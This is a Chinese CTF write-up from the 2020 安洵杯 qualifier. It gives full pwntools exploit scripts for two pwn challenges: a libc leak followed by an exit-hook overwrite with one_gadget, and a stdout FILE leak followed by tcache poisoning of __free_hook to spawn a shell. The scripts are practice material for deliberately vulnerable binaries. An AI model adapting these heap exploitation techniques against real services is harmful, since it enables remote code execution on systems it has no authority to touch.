安洵杯2020初赛

write up

Posted by X1ng on November 26, 2020

记安洵杯线上两个水

Einsteinjson解析器

name和passwd全错可以泄露libc,改exit_hook三个字节为one_gadget

#!/usr/bin/python

from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='sfs'
libc_name='libc-2.23.so'
if local:
    p=process("./"+binary_name)
    libc=ELF("./"+libc_name)
else:
    p=remote('axb.d0g3.cn',20103)
    e=ELF("./"+binary_name)
    libc=ELF("./"+libc_name)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

payload = '''
{   

    "name": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
    
    "passwd": "bbb"
    
}
'''
payload = payload.replace('\n','')

def pwn():
    p.sendline(payload)
    p.recvuntil('logger:')
    p.recvuntil('logger:')
    libc_base = leak_address()-0x3c4b78
    print(hex(libc_base))
    if libc_base < 0x7f0000000000:
        return 0
    exit_hook1=libc_base+0x8f9f48
    exit_hook2=libc_base+0x8f9f50
    
    one_gadget = libc_base+0xf0364
    a = p64(one_gadget)[0]
    p.send(p64(exit_hook1))
    p.send(p8(a))
    p.send(p64(exit_hook1+1))
    a = p64(one_gadget)[1]
    print(hex(one_gadget),p8(a))
    p.send(p8(a))
    p.send(p64(exit_hook1+2))
    a = p64(one_gadget)[2]
    print(hex(one_gadget),p8(a))
    p.send(p8(a))
    ia()

pwn()

IO_FILE

释放0x10的chunk进fastbin避免干扰unsortedbin后就是老套路了,iofile泄露libc,tcache改free_hook

#!/usr/bin/python

from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='IO_FILE'
libc_name='libc.so.6'

libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))


def cho(num):
    sla(">",str(num))

def add(size,content):
    cho(1)
    sla("size:",str(size))
    sa("description:",content)

def delete(idx):
    cho(2)
    sla("index:",str(idx))

while True:
	try:
		if local:
    			p=process("./"+binary_name)
		else:
    			p=remote('axb.d0g3.cn',20102)
		add(0x80,'a')
		add(0x10,'b')

		for i in range(8):
    			delete(0)
		delete(1)

		add(0x70,'\x60\x77')
		add(0x80,'c'*8)
		add(0x80,p64(0xfbad1800) + p64(0)*3 + b'\x00')
		leak = u64(ru("\x7f")[-6:].ljust(8,b'\x00'))
		libcbase = leak - 0x3b68b0 
		free_hook = libcbase + libc.symbols['__free_hook']
		system = libcbase + libc.symbols['system']
		print(hex(libcbase))
		print(hex(free_hook))

		add(0x68,'1')#5
    
		add(0x20,'2')
		delete(5)
		delete(5)
		add(0x68,p64(free_hook))

		add(0x68,'/bin/sh\x00')
		add(0x68,p64(system))
		delete(8)

		ia()

		break
	except:
		p.close()